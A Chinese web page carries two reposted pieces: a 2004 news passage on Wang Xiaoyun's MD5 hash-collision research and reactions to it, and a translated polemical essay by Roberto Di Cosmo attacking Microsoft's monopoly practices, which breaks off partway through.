MD5破解工作的主要成员王小云教授是一个瘦弱、矜持的女子,厚厚的镜片透射出双眸中数学的灵光。她于1990年在山东大学师从著名数学家潘承洞教授攻读数论与密码学专业博士,在潘先生、于秀源、展涛等多位著名教授的悉心指导下,她成功将数论知识应用到密码学中,取得了很多突出成果,先后获得863项目资助和国家自然科学基金项目资助,并且获得部级科技进步奖一项,撰写论文二十多篇。王小云教授从上世纪90年代末开始进行HASH函数的研究,她所带领的于红波、王美琴、孙秋梅、冯骐等组成的密码研究小组,同中科院冯登国教授,上海交大来学嘉等知名学者密切协作,经过长期坚持不懈的努力,找到了破解HASH函数的关键技术,成功的破解了MD5和其它几个HASH函数。
近年来她的工作得到了山东大学和数学院领导的大力支持,特别投资建设了信息安全实验室。山东大学校长展涛教授高度重视王小云教授突出的科研成果。 2004年6月山东大学领导听取王小云教授的工作介绍后,展涛校长亲自签发邀请函邀请国内知名信息安全专家参加2004年7月在威海举办的“山东大学信息安全研究学术研讨会”,数学院院长刘建亚教授组织和主持了会议,会上王小云教授公布了MD5等算法的一系列研究成果,专家们对她的研究成果给予了充分的肯定,对其坚持不懈的科研态度大加赞扬。一位院士说,她的研究水平绝对不比国际上的差。这位院士的结论在时隔一个月之后的国际密码会上得到了验证,国外专家如此强烈的反响表明,我们的工作可以说不但不比国际上的差,而且是在破解HASH函数方面已领先一步。加拿大CertainKey公司早前宣布将给予发现MD5算法第一个碰撞人员一定的奖励,CertainKey的初衷是利用并行计算机通过生日攻击来寻找碰撞,而王小云教授等的攻击相对生日攻击需要更少的计算时间。

数字认证 你的未来不是梦
由于MD5的破译,引发了关于MD5产品是否还能够使用的大辩论。在麻省理工大学Jeffrey I. Schiller教授主持的个人论坛上,许多密码学家在标题为“Bad day at the hash function factory”的辩论中发表了具有价值的意见(http://jis.mit.edu/pipermail/saag/2004q3/000913.html)。这次国际密码学会议的总主席Jimes Hughes发表评论说“我相信这(破解MD5)是真的,并且如果碰撞存在,HMAC也就不再是安全的了,…… 我认为我们应该抛开MD5了。” Hughes建议,程序设计人员最好开始舍弃MD5。他说:“既然现在这种算法的弱点已暴露出来,在有效的攻击发动之前,现在是撤离的时机。”
同样,在普林斯顿大学教授Edwards Felton的个人网站(http://www.freedom-to-tinker.com/archives/000664.html)上,也有类似的评论。他说:“留给我们的是什么呢?MD5已经受了重伤;它的应用就要淘汰。SHA-1仍然活着,但也不会很长,必须立即更换SHA-1,但是选用什么样的算法,这需要在密码研究人员达到共识。”
密码学家Markku-Juhani称“这是HASH函数分析领域激动人心的时刻。(http://www.tcs.hut.fi/~mjos/md5/)”
而著名计算机公司SUN的LINUIX专家Val Henson则说:“以前我们说”SHA-1可以放心用,其他的不是不安全就是未知”, 现在我们只能这么总结了:”SHA-1不安全,其他的都完了”。
针对王小云教授等破译的以MD5为代表的Hash函数算法的报告,美国国家技术与标准局(NIST)于2004年8月24日发表专门评论,评论的主要内容为:“在最近的国际密码学会议(Crypto 2004)上,研究人员宣布他们发现了破解数种HASH算法的方法,其中包括MD4,MD5,HAVAL-128,RIPEMD还有 SHA-0。分析表明,于1994年替代SHA-0成为联邦信息处理标准的SHA-1的减弱条件的变种算法能够被破解;但完整的SHA-1并没有被破解,也没有找到SHA-1的碰撞。研究结果说明SHA-1的安全性暂时没有问题,但随着技术的发展,技术与标准局计划在2010年之前逐步淘汰SHA-1,换用其他更长更安全的算法(如SHA-224、SHA-256、SHA-384和SHA-512)来替代。”
详细评论见:http://csrc.nist.gov/hash_standards_comments.pdf
2004年8月28日,十届全国人大常委会第十一次会议表决通过了电子签名法。这部法律规定,可靠的电子签名与手写签名或者盖章具有同等的法律效力。电子签名法的通过,标志着我国首部“真正意义上的信息化法律”已正式诞生,将于2005年4月1日起施行。专家认为,这部法律将对我国电子商务、电子政务的发展起到极其重要的促进作用。王小云教授的发现无异于发现了信息化天空的一个惊人黑洞。我们期待着王小云教授和她的团队能够成就“女娲补天”的壮举,为人类的信息化之路保驾护航。

2004年08月18日

这不是最新的文章,但绝对称得上经典,耐心看完后你会有所收获!

转自“蓝森林”网站

原作者迪-克斯莫(Roberto Di Cosmo)博士的网站

[译者按]本文是在法国互联网上流传很广的对微软的檄文,作者是计算机博士,现就职于法国巴黎第七大学计算机系。原文已经被翻译成英语、德语、西班牙语和意大利语,可以在http://www.pps.jussieu.fr/~dicosmo/找到。

一、引言

圣诞前期间,我再次被媒界铺天盖地的报道所震惊。“多媒体”、“万维网”、“互联网”这些时髦词汇及其派生物如雨后春笋充人耳目。在这些报纸、杂志和那些即兴“专家”眼里,您如果手里没有一台崭新的、价钱昂贵的、能把您带入那五彩缤纷的虚拟空间的计算机,您就不算是个幸福的人。

我们时刻都在听着一个永恒不变的教导:世界上只有一种计算机,它叫PC,当然一定是安装着Intel芯片的PC,而且世界上只存在一个必不可少的软件-微软生产的Window系列(大家干脆懒得去区分“操作系统”和“应用软件”这两个截然不同的名词,媒界所说的Window97实际上就是Window95捆绑上word、Excel等办公软件,被称为Office97的东西)。

更令人奇怪的还在后头,今天美国人已经开始从漫长的冬眠里觉醒,意识到这两个超级跨国公司的阴险嘴脸:它们利用自己的垄断地位,扼杀了无数产品性能远远高于自己的公司。而我们法国却厚颜无耻的在向这两个托拉斯献媚争宠。我佩服Ralph Nader(勇敢的站出来保护消费者的利益,令美国通用汽车公司撤回它们生产的不安全汽车),佩服美国司法部对微软的起诉,更佩服美国民众对此事的强烈反响:美国著名的亲微软的CNN电视台在网上做了民意测验,结果绝大多数网民支持司法部的举动,CNN竟然中止了此项调查,在无数网民的抗议下,不得不公布结果。

但是法国的民众还沉睡在微软那温柔的摇篮里,他们梦见一个仁慈的善者在向所有的学校乡村分发免费的Window95,真心实意的帮助法国弥补技术上的落后;他们微笑着看着天蓝色的屏幕上显示出一条条令人安心的信息,告诉用户某某环节某某过程引起了某某例外,当然这只是您自己的操作不当,不是Window的错误;他们在这美梦里从来不反问一下:一个比几十年前能把人类送上月球又安全送回来时所用的计算机还强劲几倍、几十倍的PC,被安装上微软的Office97以后,为什么不能正确的处理一本只有百来页的资料?

二、中药库和洗脑

我曾经几次有机会体会到法国人昏睡到了何种程度。最可笑的要数那次在火车上的故事。手提式电脑(一种价钱能高过一辆小汽车,可以放在书包里的PC,通常被用来玩扑克)象大哥大一样日益普及,尤其在火车飞机上为多。我的座位旁边是一位非常友好、善良的先生,一看上去就知道他是位年轻有为的工程师。他正在运行那个令人可笑的软件(等会儿我再解释为什么我这么评价这个软件)“Defrag”。屏幕上显示着一个漂亮的矩阵,有很多小方块在闪耀,四处奔跑,硬盘发出叽叽嘎嘎的美妙音响。

我实在忍不住自己的欲望(希望这位先生看到我的文章别记仇),赞美了一番他的机器后我装作傻里傻气的样子问他,这漂亮的软件是干什么的,为什么我的手提机子里没有?带着近乎怜悯的神情(“这可怜的家伙连这个软件都没有!”)他告诉我,这是一个高明绝顶的程序,能让您的计算机如虎添翼,把您的硬盘重新“安排整齐”。他象背诗一样把微软的说明书讲给我听:当您每次使用硬盘时,磁盘会逐渐“碎裂”开来,电脑的速度就会下降,所以您要时不时的运行一下 “Defrag”,让硬盘有条不紊,完好如初。

这时我拿出自己的手提电脑,上面安的是Linux(一个免费的、性能很好的、由网上几千人开发的Unix系统)。我满脸疑惑的告诉他:我这个机器上的硬盘永远是有条不紊,而且越使用,内存就越整齐。我们这位工程师有点尴尬了,他回敬我道:他用的系统是最新版本的Window95,是世界上最大的软件公司的产品。“您一定是在哪个地方搞错了!”他说。

我于是开始给他讲解什么叫磁盘碎裂问题,试图用最简单的比喻让他忘掉一会儿微软对他那些下毒式的宣传灌输。现在我就向各位看客介绍一下我俩当时半个小时的交谈。

你们大概都知道所有数据都存在计算机的硬盘里。这个硬盘就象一个巨大的中药库,有成千上万的小抽屉组成,每一个小抽屉都拥有同样的容量(一般是512个字节)。今天的电脑有几百万这样的抽屉。如果您的某个文件被存放在相邻的一组抽屉里,那么存取的速度就比分放在仓库的四面八方(被称作“磁盘碎裂”)时快得多。这一点也不难理解,您日常生活中就会遇到,比如您存放自己的鞋:它们如果被放在同一个盒子里,找起来就方便。我们都知道一个井井有条的仓库比乱七八糟的杂货铺好。剩下的问题是如何存放这些数据。

现在试想一下您是个国家部长,要把自己几百万份的材料放在一个巨大的、拥有几百万个抽屉的大立柜里,象上面解释的那样,您当然想让每一份材料尽可能的放在相近的一组抽屉里。您特意雇佣女秘书专管此事,有两个应聘者,她们的工作方法截然不同。第一位的作法是这样:当一份资料解决完了以后,她就把文件清除出去,新的文件到来时,她先把它们分成和抽屉大小一致的小块,把它们随意的放在最先能找到的空抽屉里去。您问她这样做岂不有点乱,下次我要想找这个材料不是要费劲?她告诉您,没关系,周末时您可以雇来几个小伙子把大立柜调整齐就是了!第二个女秘书的工作方法是另一个样:她手里时刻有一个表格,知道什么地方有多少空着的抽屉,每当新文件到达时,她先察看一下手头的表格,把新文件放到有足够数量的相邻的抽屉里去。这样大立柜永远是有条不紊。谁也不会怀疑这个部长会雇佣第二个秘书。说到这,我们这位工程师点头同意。

此时就非常容易向他解释了,Window95的作法正象第一个女秘书,她需要几个小伙子来整理部长的大立柜(用“Defrag”)。而Linux的文件管理方式就和那个优秀的女秘书一样,她根本不用去整理什么!火车到站时,这个年轻人很不高兴,人家一直告诉他“Defrag”能“加速电脑的运转”,现在才知道原来正是Window把他的机器减了速度!

事实上,有效的使用内存是一个老问题,很久以前就得到妥善的解决(Unix早在1984年就开始雇佣那个好秘书了)。还有比“Defrag”还可笑、令人厌恶的东西,这里没时间给大家讲那些小故事了。微软有一个叫“ScanDisk”的玩意,是用来修补硬盘的。它给您一大堆难以理解的选择,结果经常是把您的文件系统摧毁得一干二净,本来数据在使用它以前还是可以挽救的。这种事情在Unix系统下不但不会发生,而且该技术在十年前就在大学的计算机课程里讲授了。“Defrag”和比它更可恶的“ScanDisk”的存在就足以让大家把微软的系统扔进垃圾堆去。

可是在微软的洗脑式的宣传教育和我们自己的昏昏沉睡之下,法国正准备把所有银行计算机系统换成微软的产品,更有甚者,要用这些东西教育我们的下一代。

正是用这种规模宏大的商业运作,有些公司成功的把它们致命的缺点说成为技术上的绝活,让所有人坚信不移。很多真正懂技术、能把这些蠢事识破、揭露它们鬼把戏,让那些所谓的“专家”哑口无言的人却沉默了。有一个奇怪的事实:一方面,没有一个严肃的计算机专家愿意在那些被标榜为计算机读物的杂志上发表文章,他们不愿意让自己的名子和那些卖狗皮膏药的人例在一起;另一方面,在毫无科学基础的支持下,在各商业公司的广告赞助下,这些公司更是变本加厉的在这些地方骗人,于是更没有人愿意和他们同流合污,去说几句公道的话。

三、信息税

但是,WinTel(美国媒界对微软和Intel的总称)正在进行的对法国乃至世界计算机行业的垄断已经到了不可以再沉默的时候了,没有任何借口可以允许我们再醉生梦死。这不仅仅是“明明知道有高水平的产品而宁愿去忍受一个劣质的高科技”:当年消声灭迹的Video 2000和Betamax就比现在的VHS(录像机制式)要优良。现在的问题是我们自己的政府对它们在信息领域的垄断大开绿灯,而从中受益的只有WinTel。我敢肯定只要稍微有点经济头脑的人就知道我想说什么:几年来这个“独裁者”已经成功的在我们身上收取了“垄断税”:用它们绝对优势的地位高价销售,对消费者进行名副其实的敲诈勒索,因为你们只能从它这里买东西。这笔税收的数额巨大,可恶性在于它是偷偷的流出我们欧共体,不仅不创造任何国家财富,而且起到了摧毁的作用。

下面我们就一起来看这个垄断者是怎么样年复一年、日复一日的巩固它们的地位,又是怎么样对大家的日常经济生活造成威胁。在计算机这种特殊的领域,此类毫无道德准则的公司对世界所造成的恶果尤其可怕。我们先看看它们的那些“合法”的、讲道理的行为。

四、软件的独特性

我们每购买一个PC,就等于给微软纳了一次税,为了搞清楚这个问题,我们应该先知道下面这个基本事实,计算机科技和其它高科技不同一点是:复制软件的成本费用低廉。一个软件的开发可能很耗经费,但一旦制成,它可以被几块钱一张的光盘所复制,或者从收费日益下降的万联网处下载,其渠道及形式和软件本身的功能、质量毫不相关。只有一个东西的成本是不能忽略的,那就是被称为“载体”的东西。例如厚厚几千页的说明书,几十张磁盘(当您不幸,还不具有光盘系统时)。但是本应该想办法降低这笔成本的软件出版社和发行商,却反过来进攻这块阵地。您可能已经注意到了,当您从超级市场买回来附有很多软件的PC时,发现没有一个软件是备好完整的说明书的,充起量只有几页解说词。当然您如果愿意,可以自己掏几十、上百块钱从网上把这几千页纸下载打印出来。我甚至还碰到过一个生产手提电脑的著名日本企业(不点出它的名字了)干脆连光盘也不给您,把所有软件都安进硬盘里去了。我只好自己买几十个磁盘,象玩现代乐一样折腾一整天才把它们备好份。我们现在可以说,复制一个软件的成本费对出版商来说几乎是零。

软件的另一个独特性是它的法律权利。粗想一下,其道理无泄可击:象艺术品一样,软件这个错综复杂的、牵撤到千家万户人日常生活的当今“高科技的结晶”,应该受到法律保护(所有软件工业都自名为“出版社”)。但是您找不到一个法律条文,规定一个软件必须完成某某工作,或拥有某某功能,即便是说明书上白字黑字写清楚的性能它也有权利不保证做到。这种事发生在一本小说或一幅油画作品上还有情可原,对于一个软件就毫无道理了,事实上就是这样:您可以上法庭控告您的下水道工或电工,但您永远没权利去控告微软公司的产品,说它们的东西不遵守生产工序,和说明书吹嘘的功能不符。

更可恶的是,微软对它们的系统给您造成的灾难毫无责任。我们可以再重复说一个例子:如果您儿子因为听了一个摇滚音乐碟子,和您争吵起来,您一怒之下把家里的一个中国明朝的瓷器打碎了,您的确没有任何权利去控告那位歌星。可是如果您存在硬盘里的200M的商业资料被Window95那个臭名昭著的ScanDisk摧毁,您为什么也没有权利去控告微软公司?您完全有能力在任何讲公道的法庭上证明:早在70年代,人类就掌握了必要的技术,并已公布于市,能让您那200M的心血不至于丢失。而使用该技术的AT&T公司的Unix系统的原程序不是被你们微软买下了么?反过来,您完全有理由起诉您的电灯安装公司,他们把电线埋进你家的木制墙柱子里去了(欧洲认为这样安装法是非法行为)。

如果您的软件出自于一个周末抽空在自己家车库里编写程序的工程师之手,这两个独特性还有情可原。事情却发生在这个经费达到天文数字、横跨欧美大陆之超级企业身上。这种“外交豁免权”对那些小型的软件出版商没多大用处。所有大型工业企业可以责令他们完成规定的指令,按劳取酬,按罪惩罚。但这些保障对于一个普通消费者和绝大多数中小企业来说是不可能得到的,微软这种冠冕堂皇的“出版社”可以在几个星期里让您倒闭关门。

和刚才那个火车上遇到的年轻人一样,我们开始感觉到在这花红酒绿的虚拟世界的后面,还着有不可告人的阴暗一面。这个被称为盖世绝伦的慈善公司,这个自许为站在世界科技和自由贸易主义颠峰的软件厂家,和我们的印象中的那个圣诞老人有点不一样了。我们现在只是在微软这颗星球的阴暗面走了一小段,更“精采”的还在后头。

五、硬件生产者落入圈套

微软的垄断地位还帮助它节省了各种商业费用,例如技术谘询、销售和售后服务。您总想:虽然微软没有义务帮你把系统安装好,但为了保住市场,它应该主动帮您这个忙吧?您不必为微软担心,它早就想好对策了,我把Window95的用户协议文本载录出一段:

    6.技术谘询。微软集团及其附属公司没有义务提供任何技术谘询,
      用户可以向计算机生产商请求帮助。

天衣无缝,对不对?它把所有任务都退给计算机生产商,后者虽然和“ScanDisk”、系统崩溃、硬盘摧毁这些悲剧毫无关系,但却不得不在经济上承受其后果。(我可是略知一二:为了在我的那个日本产的手提电脑上安装Window95,我给这个公司打了好几次电话,上面没点它的名,这回也不点了)如果Window95不霸占着垄断地位,电脑厂商难到会同意这样的条款出现?

对于那些销售渠道的商人来说,同样是这样。硬件生产者、机器组装者和卖给我们机器的人都要从自己腰包里掏钱:他们得付劳动力,在您的机器上预安装Window95。我们还能找到更绝的一招:从网上购买Window95。这真是天才想出来的,您交软件钱,交电话通讯费去下载(看看现在的Office所占空间您就知道这是一笔交小的支出),把出版商销售软件的费用降为真正的零法郎零生丁!您还在疑问,为什么美国有些议员建议对电子网络贸易不征税,这就是原因!

总结一下:如果我叫微软,而且只因为我叫微软,我就可以不受任何限制的向您出售任何东西,没有人可以起诉我的软件的质量次劣,正因为这点,我也不必把精力用来改进我的产品,而我的每个软件的消售所需经费却是个零,我的价钱却可以上扬。硬件都在不断的大幅度的降价,而微软的东西只有微弱的下调,新版本出来时还可能涨价。95年的Window95起始价800法郎到了现在成了1270法郎。我做的是彻头彻尾的无本万利的生意。

现在就有一个很有趣的问题,普通百姓对计算机一窍不通,那么这些大企业、国家机构、传播媒界等等人才济济的地方,为什么他们不使用自己的权利,拒绝选择微软的东西呢?为了回答这个问题,我们不能一味的怪罪于哪些在报纸、杂志上卖狗皮膏药的骗子们,虽然他们有不可推卸的责任。我们应该打个手电筒在微软这个巨大的商业结构的后面阴暗处好好看一看,就能发现它有许多行为是非法的!遗憾的是在我们法国这么多传播媒体里没有人站出来揭发这些,有的只是不疼不痒的批评文章,根本无法引起国家决策人员的注意,这才是真正的原因。

六、科学傻瓜之国

为了把事情弄清楚,我们现在暂时忘了计算机、软件、硬件这些东西。我们一直被告诉说这些东西是必不可少的,但也是深不可测的。也就是说我们没必要对此事有自己个人的观点,因为有人对你说:“这东西太复杂,听专家的选择吧!”在美国一个有名的杂志【Byte】上,干脆打出这么一句口号:Byte,Because the experts decide!(Byte,因为专家们决定了!)

我们把这些所谓的“专家”先放在一边,来访问一下我描绘出来的“科学傻瓜之国”(您不久就会明白,这根本不是幻想之国,是实实在在存在的国家)。这个国家有一个公司,我们就叫他MacroPress吧(以后简称MP)。一点一点的,MP获得了地球上所有印刷厂的控制权。它不负责出版报纸,只管印刷,用它特定的,只有它一个拥有版权的字体。突然有一天,在载歌载舞的欢呼声中,在铺天盖地的广告宣传下,MP公司宣布:它们发明了一种崭新的字体,能让您的报纸印出来更加现代化,漂亮无比。所有的报纸于是都用这个被称为Klingons的字体印刷(Klingons是电影【Star Trek】中的外星人),以至于每一个读者都得先去买一个MP公司发明的专用放大镜,才能看到新报纸。放大镜在大店小铺里都摆着,销售所需费用却是报纸出版社承担的。百姓们笑逐颜开,奔走相告,人手一镜。在这次巨大的成功的鼓舞下,MP公司开始定期的改变它们的字体,起先是每一年一换,后来每六个月一换。老放大镜看不了新报纸了,您得不断去出钱更换成新的。这时候来了一个聪明的竞争对手,它发现了一个赚钱的好办法:制造出比MP价钱便宜的迷你放大镜,也卖给大家。但是所有商店和MP公司有独营合同,不卖别的东西。更倒霉的是:MP公司正式起诉对方,所加的罪名是对方研究了它的Klingons字体,以用来生产迷你放大镜,结果,是MP打赢了这场官司!

七、...已经离我们不远了

您可能要这么说:谁又不是傻子,怎么会被欺骗到这种程度?可您知道,科学傻瓜之国已经向我们走来。两年以前,我向欧共体科技部申请经费,邀请一个访问学者来我们实验室合作。为此我得填写专门的表格。有人告诉我最好的办法是从网上下载,地址是:www.cordis.lu。从邮局寄过来要好几天。我下载了一份文件叫toto.doc,是用某某版本的Window95中某某版本的Word软件写的,简单说就是用Klingons字体。“没问题!”我心里想,我们实验室正好有个苹果机,上面有一部Word6.0放大镜,是最新版本,又是同一个公司的产品。这句话是那天早上10点钟说出的,令我大惊失措的是:经过十几分钟的转换,苹果机的Word6.0把机器整瘫痪了,我不得不关了机器重来,丢掉了刚才的劳动。

我于是和放大镜展开了一场不屈不挠的战役,最后由我取胜而结束。只剩下看表的力气的我发现这时已经是晚上7点钟了,不去细讲我是怎么解决这个问题的,我当时只是有个欲望,想把谁拉上法庭理论理论!究竟为了什么?不就是一个极其简单的表格:姓名、年龄等等,只要用一个公用的制式,比如1991年就开始通行的HTML就可以完成的!两年过去了,www.cordis.lu还毫无变化,网站漂亮了许多,可是所有大家需要的公用文件、表格还是“版权不可侵犯”的Word文本,只能用微软支持下的PC阅读。

所以,我们实验室马上要购买一台高档PC,安装好我们原本并不感兴趣的Window95系统和Office办公软件,就是为了能阅读欧共体的文件。MP的Klingons放大镜又打了个胜仗。

就象放大镜一样,文件的制式随着版本的更新而变换。这样,Word5.0不能阅读Word7.0的文件,更可笑的是苹果机的Word6.0不能阅读PC机的文件。我们就象傻子一样被牢牢的套住了!我们不仅仅要买一次word,每出来一个新的版本就得去买回来,就是为了能痛痛快快够阅读别人的新文件。如果您买了一本word5.0下的西班牙字典,您还得再去买一本回来,因为老字典已经不匹配了,而西班牙语这几个月没有什么变动吧?请注意,这是对您劳动成果的赤裸裸的绑架和要挟:您的数据一旦用它们的word或Money写成了,就基本上没办法把它转变成别的制式,想让另一个操作系统下的软件阅读,没门!而这明明是您自己辛辛苦苦用肉手敲出来的数据呀?您可以去微软的网址上找到一大堆专用的制式转换软件,您找不到可以转成非微软制式的工具。它们还想立法阻止别人使用、分析它们的文件制式,更不要说生产什么迷你放大镜。我们百姓需要的是没有人“控制的”公用制式!信了我的话了吧?我们就沐浴在这个科学傻瓜之国。

八、不三不四的行为

写到这,我们看出来了,微软的技巧其实很简单。一方面它先把你们用户推入其陷阱,把你们的宝贵的数据绑架在它那半年一换的“宝贵”制式里,逼着你去购买新版本,虽然您可能仅仅是想阅读本来就属于您自己的数据,或者是一些根本没必要以微软的制式存在的文件;另一方面,它把所有的竞争对手也推进陷阱,不把全部的资料给人家,甚至随意改动操作系统,其目的就是让对方的软件无法正常的运行。更有甚者,如果对方发现了这个鬼把戏,并揭发出来了,它还可以让人家吃官司,被判为 “reverse engineering”(计算机法律方面的词汇,在汽车工业里就相当于把别人的汽车马达打开来研究了一番)。为了证实我不是无根据的编造,大家可以看Stac和微软之间的官司。

第二个技巧尤其功效显著,特别是当软件出版社同时拥有操作系统(Window95)和应用软件(Word,Excel等):它可以轻而易举的在系统上做点手脚,在改进自己的软件的性能的同时,让竞争对手的软件失去稳定性。微软已经在Windows NT Workstation上这么做了:它人为地把同时联机数量定为10台机器,令所有配备有Netscape服务器的NT Workstation无法工作(请参考有关美国司法部和微软打官司的网页)。用户们只能出高价去购买WindowsNT操作系统,上面安装着免费的Web服务器。Netscape就这样被赶出市场(您要是知道NT Workstation和NT这两个系统的原程序其实只有几条语句不同这一事实,您就更加看出微软这个巫婆有多阴险毒辣)。

这些不三不四的行为的结果也很简单:阻止用户去购买别的企业的产品,只能买它微软的。它们用零的代价和风险建立了一套我上面所说的、完整的“信息税收”体系。税额都落进微软的口袋里。难怪比尔-盖兹访问法国时会受到总统府隆重的接待,因为客人正是当代最著名的虚拟世界里的“收租人”。“租子”可一点也不虚拟:每年欧共体付给他的外汇额难以计数,买回来的是劣质的科技产品,让我们一天比一天受它的约束,软件售价远远高于美国和加拿大。不要相信有人对你安慰的话儿:“软件得花钱找人翻译成法语呀?”您可以去微软的网站看一看,上面清楚的标明:法国人不得在加拿大购买法文版的微软产品(因为加拿大有一部分人说法语,而且那里的软件价钱要低很多)。这就是美国人鼓吹的“自由贸易主义”?别人把我们当成奶牛,而欧洲各政府的软弱无能,简直就是农场的挤奶工。只要看一看www.cordis.lu,就知道事情的严重性了。

九、和法律捉谜藏

现在谈谈微软是怎么真枪实弹地和法律叫板的。先说说法国律法严禁的“捆绑式”销售方式(【消费法】第一册、第二章、第一条:禁止在出售一个产品时,让消费者毫无选择的去购买另一个商品。欧洲各国的法律都有这方面的条文)。简单的说就是您买一个西瓜时,谁也不能逼迫您再买一个你不想要的烂西红柿。您当然在超级市场见过捆绑在一起的矿泉水,但如果您愿意,可以把包打开,只买其中一瓶,而在价钱上却不吃亏。但长久以来,那些大型PC组装厂家不给您这种选择,您必须买微软的系统(现在是Window95、Window98、Window2000、NT,以前是Dos、Window3.x)。您可以自己去Dell或Gateway的网站瞧一瞧:“组装您自己的计算机!”上面这样说。尽管硬件和软件是两个不同的产品,但人家不允许您把微软的放大镜扔掉。甚至您没办法知道Windows的价钱,这个价钱比商店里零售的要低的多(事实上这是微软和各厂商私下里定的合同,也是它的商业手段之一,在欧洲已经被法庭判过罪)。

为了让您在经济上有点确切的概念,我举一个小例子。几个月前,巴黎有所大学要购买15台PC,准备采用GNU/Linux为操作系统。我们不知道组装厂家给微软付了多少钱(估计每个系统至少有300法郎),也不知道消费者要在这个操作系统上付多少钱(就算是这300法郎吧,这个数字值得怀疑,因为“预安装”不会是免费的),反正这所大学要乖乖的交出15*300=4500法朗的经费,去买一个他们不需要的东西。也就是说国家(法国纳税人)送给微软一份4500法朗的礼物,给一个非欧共体、还没到“濒临破产、需要帮助”之地步的企业送了礼物。如果我们用这个数字推算开去,每年法国使用PC和GNU/Linux的大学(可喜的是越来越多)合在一起要浪费几百万法郎?现在大家知道了谁是真正的强盗!我很难理解这种无端的浪费,天天还听政府哭喊着说法国教育经费短缺!

如果您搅尽脑汁好好想想,理论上还是有办法让它们偿还您这笔钱。您可以继续去让那可怜的组装厂家更讨厌您,但您得做好打持久战的准备。我们学院里有好几个师生购买PC或手提电脑后安装了GNU/Linux或NextStep。有人试着去打这场战,但都落荒而逃。这是微软每年利润中的最重要部分,所以我们可以称之为“计算机税”:不管您愿意不愿意,每一台PC卖给用户,就有一笔固定的钱进了微软的银行帐户。微软干了十年这种勾当,给比尔-盖兹等一伙人创造出如此巨大的财富,挤垮了无数对手。1995年它受到美国和欧共体的判刑,但没有伴随着任何经济手段制裁。也就是说,我们眼看着小偷偷了钱,逍遥法外,而得到的只是一句“下回我不敢了” 这类不疼不痒的道歉。也正是这个没有经济制裁的、姑息养奸式的法律,怂恿了微软的不道德行为。您现在很难在市面上买到没有Windows的PC,除非您去找小规模的组装厂家。Dell和Gateway这两个例子很普遍:每一个购买PC的人,就加入了“微软用户”的统计数字,虽然买回来您做的第一件事可能就是把Windows扔进垃圾箱,安上GNU/Linux操作系统。

十、看看将来教育的走向

如果我们继续昏睡下去,由任它们推入陷阱,让微软霸占了教育领域,那还能有什么比这更可怕的呢?法国的“落后”是件好事也是件坏事,它给了我们一个机会:让我们能看到几种不同的走向。

先说说最近将来时,只需到我们的邻居瑞士看一看。今年10月8日,瑞士财政部长宣布和微软达成了协议,国家出资购买2500部计算机给各中学,微软免费提供软件系统,而且义务培训600名计算机教师人员(南非也获得了同样的礼物)。也就是说,我们这个垄断集团只用了连广告费用都不到的投资,就彻底掌握了瑞士的计算机教育体系,进而掌握了该国所有企业的未来,因为将来毕业的学生只认识Microsoft和Office。这不是一个令人欢欣鼓舞的前景,但至少瑞士人不用花钱买微软的东西了。

应该确切点说,现在还不用花钱。微软完全可以让您过一段时间再来站队交钱。就象去年12月发生在日本的事:微软宣布取消在该国的集体许可证(软件的许可证有两种,一种是单机许可证,适合于各人,一种是集体许可证,适合于企业和学校)。这个决定给日本带来巨大的额外支出,他们也没办法反抗,因为找不到另一家企业可以去求助。

再看远一点的将来。加利福尼亚州立大学(CSU)正在支持成立一个由微软牵头,GTE、Fujitsu及Hughes Electronics参加的有限公司:CETI。负责全部23所分校、35万师生员工的计算机软硬件的更新换代。CSU把学校的命运交到CETI手中,所得到的好处是几个亿美元的投资,分十年到位。CETI的计划一点儿也没隐瞒:全部安Window95、Window NT和Office。只需计算一下十年中所有老师学生私人购买软硬件所需经费就知道CETI的纯利润是它们投资额的几十倍,因为大家只能去买“独裁者”的产品,否则,就无法和有“版权”、“制式”等控制的计算机系统交流,有些课程就根本不能参加。我还没算一算这项宏伟蓝图给微软所带来的长远利益:今天的学生就是将来决策者(有知道这方面消息的朋友请告诉我该计划复审后的结论)。

十一、赌注是:全球信息控制权

但是摆在政治、商业赌桌上的筹码已经不是仅仅是教育、工业这两枚了:我们不能只看到几个硬件、软件的销售问题。摆在我们面前的谁来控制全球的信息,控制所有形式的数据传输:教育领域、金融市场、新老媒体乃至我们日常通信和私生活秘密([译者按]只要一提到干扰别人“私生活”,法国人就会义愤填膺)。如果某个企业独自获得了这方面的垄断地位,它就处在一个可以让大家为每做一次计算机数据传输都必须给它纳一次税的位置(例如在所传输金额上收一个规定的百分比,英文名为: “vigorish”),正如微软领导人之一Nathan Myrhvold在一份公司内部文件里所描述的、令他们激动不已的“宏伟蓝图”那样。这份证据就在美国司法部的手里,【华尔街报】对此做过专门报道。

而且,它还可以令您在个人自由这一权力上作出让步,进而使它领取更大的利润。想一想,就是这么一回事!所有要通过计算机传输的信息原则上都可以留下痕迹。在互联网上,当您舒舒服服地坐在椅子上通过您的多媒体PC欣赏艳丽的照片时,有人可以不声不响地把您的银行号码记录下来,偷偷的构造出(将来可以利用的)您的生理及心理的特征(这件事很早以前就可以做成功了,Web流览器中的“Cookies”就可以用来干此事。Sidewalk,微软的一个子公司,逼迫用户接受这些侵犯您个人隐私的条款,否则无法获得它的服务)。微软的毫无安全系数的扩展软件ActiveX,能让您银行的存款在您“自由自在”地冲浪于网上之即被人偷走。德国汉堡一群计算机爱好者在全国性电视台和报纸上无可争议的证明了这一点,而此事在我们法国根本找不到任何报道。即便微软自己不利用其漏洞百出的系统来伤害您,别人可以去帮它这个忙:如果您是通过互联网、用微软所谓的“绝对安全加密”方式购买物品,有位大学生发明的一种病毒可以在最普通的Word文件里流窜,经过八个小时的计算,“猜”出您的信用卡号码。当我们想到法国里昂银行([译者按]一家国立银行,前年濒临倒闭,给法国纳税者头上添出两千亿法朗的债务)刚刚和微软签订了合同,让它负责管理银行的英特网业务,这足以让人出一身冷汗。

旁人还可以暗中监视您的行踪,通过信用卡、手机推算出您的作息时间表,正如前几年发生的马赛打假球事件(警方通过手提电话记录,帮助证明马赛行贿对方球队)。提到这,我们应该密切关注法国电信局和微软将要进行的合作。

